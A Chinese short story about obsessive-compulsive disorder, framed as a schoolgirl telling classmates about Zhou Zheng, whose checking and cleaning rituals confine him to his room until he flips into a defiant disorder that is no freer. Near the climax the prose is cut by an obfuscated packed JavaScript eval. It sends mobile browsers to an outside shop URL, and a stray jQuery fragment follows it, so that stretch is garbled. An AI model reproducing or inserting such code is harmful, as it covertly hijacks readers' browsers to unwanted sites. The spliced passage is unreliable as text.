湮篇第一则强迫症
课间，几个同学从教学楼另一头的卫生间回来，站在教室门口聊起了刚才的事情。
“你们刚才有没有听见最后面的水龙头一直在滴水？”
西西低头看了看自己的手，说：“听见了啊，好像有人洗完手以后没有关紧。”
“我关了。”
“你确定？”
“当然确定。”
“我也关了。”
“那为什么还在滴？”
几个人面面相觑，最后有人笑着说：“可能谁关的时候没有拧紧吧。”
话题很快又转到了洗手上。有人说自己每次上完厕所都会认真洗手，有人承认自己其实只是随便冲两下，还有人说自己有时候连肥皂都懒得用。
“可是你们真的会记得自己有没有洗干净吗？”西西忽然问。
“洗干净就是洗干净了啊。”
“万一没洗干净呢？”
“那就再洗一次呗。”
“再洗一次还觉得没洗干净呢？”
“那就再洗一次。”
大家笑了起来。
坐在不远处的里奈一直没有说话。她原本正在翻自己的故事本，听到这里，却慢慢抬起了头。
“如果一个人一天要洗几十次呢？”
几个同学安静下来。
“几十次？”
“嗯。”
里奈低头看了一眼故事本，手指轻轻按住书页。
“而且不只是洗手。”
“他会反复确认门有没有锁，水龙头有没有关，煤气有没有关；会因为书没有摆整齐、桌子上有一点灰尘、衣服上沾了一点污渍而难受；有时候甚至会觉得，如果自己不按照某一种固定的顺序做某件事情，就会有不好的事情发生。”
西西皱了皱眉。
“那不是很累吗？”
里奈点点头。
“很累。”
她翻开下一页。
“可是他一开始并不知道，自己正在一点一点地被这些事情困住。”
“我给你们讲一个人的故事。”
“他叫周正。”
“故事的名字叫《强迫症》。”
＊＊＊
周正第一次发现自己必须反复确认一件事情，是在小学的时候。
那天去上学，他已经准备好出门，并拿出钥匙锁了门。那本来是一件再普通不过的事情，可当他走下楼梯的时候，脑子里忽然冒出了一个念头。
门真的锁了吗？
周正停下来想了一会儿。
他记得自己关门了，也记得钥匙已经拔出来了，可那个念头就是没有消失。他重新跑上楼，把手放在门把手上用力往下一压。门没有打开，说明门已经锁好了。
他松了一口气，重新下楼。
可是刚走到一楼，他又想起刚才的动作。
我刚才真的把门把手压到底了吗？
他站在楼梯口犹豫了很久，最后还是回去重新确认了一次。这一次，他特意记住了自己的动作：手放上去，往下压，门没有打开，然后松手。
他觉得这样应该足够了。
第二天早上出门的时候，他又确认了一次。
再过几天，确认变成了两次。
后来变成三次。
周正并不觉得自己有什么问题。相反，他觉得这样做很谨慎。门锁好了，自己就不会因为忘记锁门而担心；水龙头关好了，就不会因为漏水而发生什么；煤气关好了，就不会发生危险。
他甚至慢慢形成了一些只有自己知道的规则。
比如出门以后必须先走七步，再回头看门；锁门的时候钥匙必须转两圈；睡觉以前必须按照“窗户、门、煤气、水龙头”的顺序检查，如果中途忘记检查到哪一项，就必须从头开始。
这些事情本来没有任何关系，可周正渐渐相信，如果自己不按照规定的方式做，就可能会发生不好的事情。
有一次，他出门的时候不小心先迈出了右脚。
他走下楼梯以后忽然想起，自己平时都是左脚先迈出去的。
他站在楼道里，心里越来越不舒服。
他不知道为什么，只觉得今天可能会发生什么。
最后，他重新回到门口，把门打开，再关上，然后重新迈出左脚。
那天什么事情都没有发生。
周正却把这理解成了另一件事情。
幸好自己重新做了一遍。
从那以后，他更加相信自己的那些规则。
＊＊＊
随着年龄增长，周正的习惯越来越多。
他开始非常在意物品的位置。
书必须按照高度排列，鞋子必须鞋尖朝外，衣架之间必须保持相同的距离，桌面上所有东西都必须摆在固定的位置。哪怕只是一本书稍微偏了一点，他也会立刻把它推回去。
刚开始，别人只是觉得他爱干净、做事认真。
后来，他们发现周正已经不是“认真”那么简单。
有一次，同事借走了他桌上的一支笔，用完以后随手放在了旁边。
周正回来以后，第一眼就发现了。
那支笔没有放回原来的位置。
他盯着它看了几秒，然后拿起来，放回原来的地方。
同事笑着说：“你也太讲究了吧，就一支笔而已。”
周正没有笑。
“它原来不在那里。”
“我知道啊，我刚才用过。”
“那就应该放回去。”
“下次注意。”
同事说完便走了。
周正却仍然站在桌边。他看着那支笔，忽然又觉得它似乎没有完全摆正，于是重新调整了一下。
直到笔和桌边形成完全平行的角度，他才终于坐下来。
后来，他开始无法忍受别人碰自己的东西。
别人坐过他的椅子，他会重新擦一遍；有人碰过他的电脑键盘，他会拿消毒湿巾擦拭；办公室有人吃完东西以后没有及时清理桌面，他会盯着那些残渣看很久，最后忍不住过去收拾。
他渐渐变得非常爱干净。
但真正折磨他的，并不是干净本身，而是他永远无法确定一件东西究竟是不是真的干净。
他洗手的时候，先洗手心，再洗手背，再洗手指缝。
洗完以后，他会突然想到：
刚才是不是漏掉了拇指？
于是重新洗。
洗第二遍的时候，他又会怀疑：
刚才那一遍是不是洗得不够久？
于是继续洗。
洗到后来，他甚至开始数时间。
可是数到某一个数字的时候，如果旁边突然有人经过，或者水流的声音发生变化，他就会觉得刚才的计数被打断了。
于是从头开始。
＊＊＊
周正第一次因为洗手把皮肤洗破，是在冬天。
那天晚上，他回到家以后洗了很久的手。洗完以后，他发现手背已经发红，皮肤也已经皱巴巴的了。一戳就会破的程度。
母亲站在门口看着他。
“你洗了多久？”
“不知道。”
“已经快半个小时了。”
周正低头看着自己的手。
“我觉得还没洗干净。”
“什么东西那么脏？”
“我今天摸了公交车上的扶手。”
母亲叹了口气。
“那洗一次不就好了？”
周正没有回答。
因为他知道，如果事情真的这么简单，他也不会站在这里。
那天晚上，他睡觉以前又去检查水龙头。
第一次确认以后，他回到卧室。
躺下以后，他忽然想起刚才好像没有认真看清水龙头是不是完全关闭。
于是重新起来。
第二次。
回到床上。
又觉得刚才可能只是看见水龙头没有出水，并不能证明它完全关紧。
第三次。
第四次。
第五次。
到了后来，他已经记不清自己到底确认了多少次。
他只是觉得，如果不再确认一次，自己就没有办法睡觉。
凌晨两点，他仍然站在卫生间里。
水龙头紧紧关闭着。
没有一滴水流出来。
可周正还是觉得不够。
他盯着它看了很久，终于伸手又拧了一下。
这一次，他听见金属发出轻微的声音。
他突然觉得安心了一些。
可仅仅过了几秒钟，那种不安又重新回来。
刚才那一下是不是拧得太用力了？
他闭上眼睛。
站在原地。
过了很久，他才重新走回房间。
＊＊＊
他的确认次数越来越多。
门锁需要确认十次。
水龙头需要确认十几次。
煤气需要确认二十几次。
出门以前，他必须检查家里的所有电器。
电视。
电脑。
空调。
热水器。
灯。
插座。
每检查完一次，他都会在心里记住。
可走到楼下以后，他又会怀疑自己有没有漏掉什么。
于是回去。
确认。
再出门。
走到街角。
又怀疑。
再回去。
渐渐地，他开始给自己的确认行为制定越来越复杂的规则。
门锁必须拉三次。
钥匙必须转两圈。
离开以后必须走七步才能回头。
如果回头时正好有人从自己身边经过，就必须重新确认。
如果确认过程中有人说话，他必须重新开始。
如果自己忘记刚才确认到了第几次，也必须重新开始。
这些规则像一张越来越密的网，把他的生活一点一点缠住。即使成年进了社会他的这些规则只是有增无减。
有一天，他因为确认门锁迟到了一个多小时。
老板问他为什么迟到。
他说：“我锁门花了一点时间。”
老板愣了几秒。
“锁门需要一个小时？”
周正没有回答。
他知道这听起来很荒唐。
可对他而言，那一个小时不是浪费。
那是他为了让自己能够安心活下去所必须付出的代价。
＊＊＊
到了后来，周正越来越不愿意出门。
因为门外的世界实在太脏、太乱，也太不可控制。
公交车上的扶手不知道有多少人摸过。
商场的门把手每天不知道被多少人碰过。
街道上的垃圾随处可见。
有人走路踩过泥水，然后直接进入商店；有人咳嗽以后没有捂嘴；有人吃东西的时候手上沾着油，却随手去碰公共设施。
这些事情以前只是生活的一部分。
现在却变成了周正无法忍受的东西。
他开始减少外出。
能在家里完成的事情，就绝不去外面。
后来，他甚至辞掉了工作。
他的房间变得越来越整洁。
每天早晨，他会把床单重新铺平，把枕头摆正，然后擦拭桌面、门把手和窗台。地板必须每天拖好几遍，衣服按照颜色排列，书按照高度排列，鞋子必须放在完全对称的位置。
他把所有可能被弄脏的东西都收起来。
他的房间看起来像一个没有人生活过的样板间。
可是周正越来越痛苦。
因为房间越干净，他越害怕它变脏。
一根头发落在地上，他会立刻捡起来。
一粒灰尘落在桌面上，他会重新擦拭。
衣服上出现一点褶皱，他会重新换一件。
有时候，他甚至不敢坐在自己的床上，因为他刚刚换过床单，害怕自己坐下以后会把床单弄皱。
于是他越来越少使用自己的东西。
他把生活变成了一种奇怪的仪式。
房间是干净的。
东西是整齐的。
门是锁好的。
水龙头是关好的。
可周正已经几乎不再生活。
＊＊＊
最终，他连自己的房门都不愿意打开。
因为他无法保证外面的世界不会把房间弄脏。
母亲每天把饭放在门口，然后离开。
周正等她走远以后才打开门，把饭端进来。
吃完以后，他会把碗擦干净，再放回门口。
母亲有时候站在门外问：“你什么时候出来？”
周正总是说：“等一等。”
可是这一等，就是很多年。
他的世界只剩下这间房间。
有一天，他站在门口，看着门把手。
他忽然意识到，自己已经很久没有真正走出去过。
他伸手摸了一下。
然后又缩回来。
门把手上有一点灰尘。
只有一点。
可那一点灰尘像突然放大了无数倍。
周正盯着它，呼吸越来越急促。
“怎么会有灰？”
他拿来纸巾。
擦掉。
又擦。
再擦。
擦完以后，他发现门板上还有一点污渍。
他擦门板。
擦完以后，又觉得地板不够干净。
于是开始擦地板。
擦完地板，又发现窗户上有水痕。
他走过去擦窗户。
擦完以后，又发现自己的衣服上有一根线头。
他把线头扯下来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926024|213529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
然后突然停住了。
他站在房间中央。
周围的一切都已经干净得近乎可怕。
可是他依然觉得不够。
永远不够。
周正慢慢坐在地上。
他忽然明白了一件事情。
只要自己继续这样下去，就永远不会有“够了”的那一天。
他会一直擦。
一直洗。
一直确认。
一直整理。
直到死去。
这个念头让他突然笑了起来。
起初只是很轻的一声。
然后越来越大。
他笑得弯下腰，眼泪都流了出来。
“够了。”
他喃喃道。
“够了。”
＊＊＊
周正站起来，把书架上的第一本书拿了下来。
然后扔在地上。
“砰”的一声。
他看着那本书，愣了一会儿。
什么都没有发生。
他又拿下一本。
再扔下来。
还是没有发生任何事情。
于是他开始笑。
他把书一本一本地从书架上扔下来，把衣服从衣柜里全部扯出来，把鞋子踢到墙角，把桌上的东西全部推到地上。
他把原本铺得平整的床单揉成一团，故意踩在刚刚拖干净的地板上，又把垃圾桶里的东西倒了出来。
房间很快变得一片狼藉。
周正站在中央，喘着气。
然后，他笑了。
那笑声越来越响。
“没有关系。”
“乱一点又怎么样？”
“脏一点又怎么样？”
“没有人会死。”
他抓起一件皱巴巴的衣服穿在身上，扣子扣错了好几颗，也没有重新整理。
他把头发弄得乱七八糟，穿上一双左右不分的鞋，打开房门。
这一次，他没有确认门锁。
没有回头。
他走下楼。
走到街上。
阳光照在他的脸上。
汽车在路边鸣笛，行人匆匆走过，垃圾桶旁边散落着几张纸，商店橱窗里的商品也没有完全摆齐。
周正看着这一切，忽然张开双臂。
“你们看！”
没有人理他。
他却笑得更加开心。
“世界没有塌！”
“什么都没有发生！”
一个路人回头看了他一眼，又赶紧走开。
周正低头看了看自己的衣服，衣角歪着，鞋带也散开了。
他笑得像一个小丑。
“我自由了！”
他喊道。
“我终于自由了！”
＊＊＊
从那以后，周正彻底变了一个人。
他不再整理房间，不再洗手，不再确认门锁，也不再在意衣服有没有穿好、鞋子有没有摆正。他甚至开始故意把东西弄乱。
别人觉得他疯了。
他却觉得自己终于摆脱了几十年来的枷锁。
他会穿着皱巴巴的衣服在街上走，头发乱糟糟的，鞋带经常散着，衣服上沾了污渍也从来不管。吃饭时东西掉在桌上，他不会擦；东西掉到地上，他也不会捡。
他告诉所有人：“我以前太累了。”
“我每天都在害怕。”
“害怕门没有锁，害怕水龙头没有关，害怕东西没有摆好，害怕自己没有洗干净。”
“现在我什么都不管了。”
他说这些话的时候总是在笑。
可是有一天，他经过一家商店的玻璃门，忽然停了下来。
玻璃里映出他的身影。
头发凌乱。
衣服皱巴巴的。
鞋带松开。
脸上还沾着一点不知道什么时候留下的污渍。
周正站在那里看了很久。
他伸手摸了摸自己的衣领。
衣领歪了。
他下意识地想把它整理好。
手伸到一半，他猛地停住。
“不可以。”
他对自己说。
“整理就输了。”
于是他故意把衣领扯得更歪。
然后大笑起来。
他继续往前走。
看起来，他终于获得了自由。
只是没有人知道，他走出那扇玻璃门以后，究竟还会不会在某个没有人的地方偷偷确认一次。
也没有人知道，他究竟是真的不再在意整洁，还是已经害怕自己重新变回那个被秩序控制的人。
他只是越来越像一个小丑。
而他自己，却觉得那是自由的模样。
＊＊＊
“所以，他最后到底自由了吗？”
故事讲到这里，西西问。
里奈没有立刻回答。她低头看着故事本，过了一会儿才说：“你觉得呢？”
西西想了想。
“我觉得……好像没有。”
“为什么？”
“因为他以前不能接受东西不整齐，现在又不能接受东西整齐。他以前必须不停确认，现在却好像必须逼自己不能确认。他还是在按照某种规则生活。”
里奈点点头。
“是的。”
她翻过一页，却没有继续看。
“周正以前为了让自己安心，不断给生活增加规则。他觉得只要所有东西都足够干净、足够整齐、足够确定，他就能够自由。可是那些规则越来越多，最后变成了一副枷锁，把他关进了自己的房间。”
“后来他受不了了，就把所有规则全部推翻。”
“可他并没有真正获得自由，因为他又给自己制定了一套新的规则：不能整理，不能确认，不能在意脏乱，不能让自己重新变回过去的样子。”
里奈抬起头，看向窗外。
“所以，有时候真正困住人的并不是一件事情，而是一个人非要用某一种方式去对待这件事情。”
教室里安静了一会儿。
刚才几个同学讨论的那个水龙头，似乎已经没有人记得了。
西西忽然低头看了一眼自己的手。
“我刚才上厕所的时候，好像真的忘记关水龙头了。”
“那你去看看。”
“如果已经有人关好了呢？”
“那就回来。”
“如果我回来以后又觉得自己刚才没有看清楚呢？”
里奈笑了一下。
“那就相信自己一次。”
西西点点头，跑出了教室。
窗外的风吹过校园，树叶纷纷落下来，有的落在草地上，有的落在道路旁，还有几片被风吹到了台阶上。它们没有整齐地排列，也没有人去把它们重新摆好。
里奈望着那些叶子，安静了一会儿。
然后，她低头把故事本合上。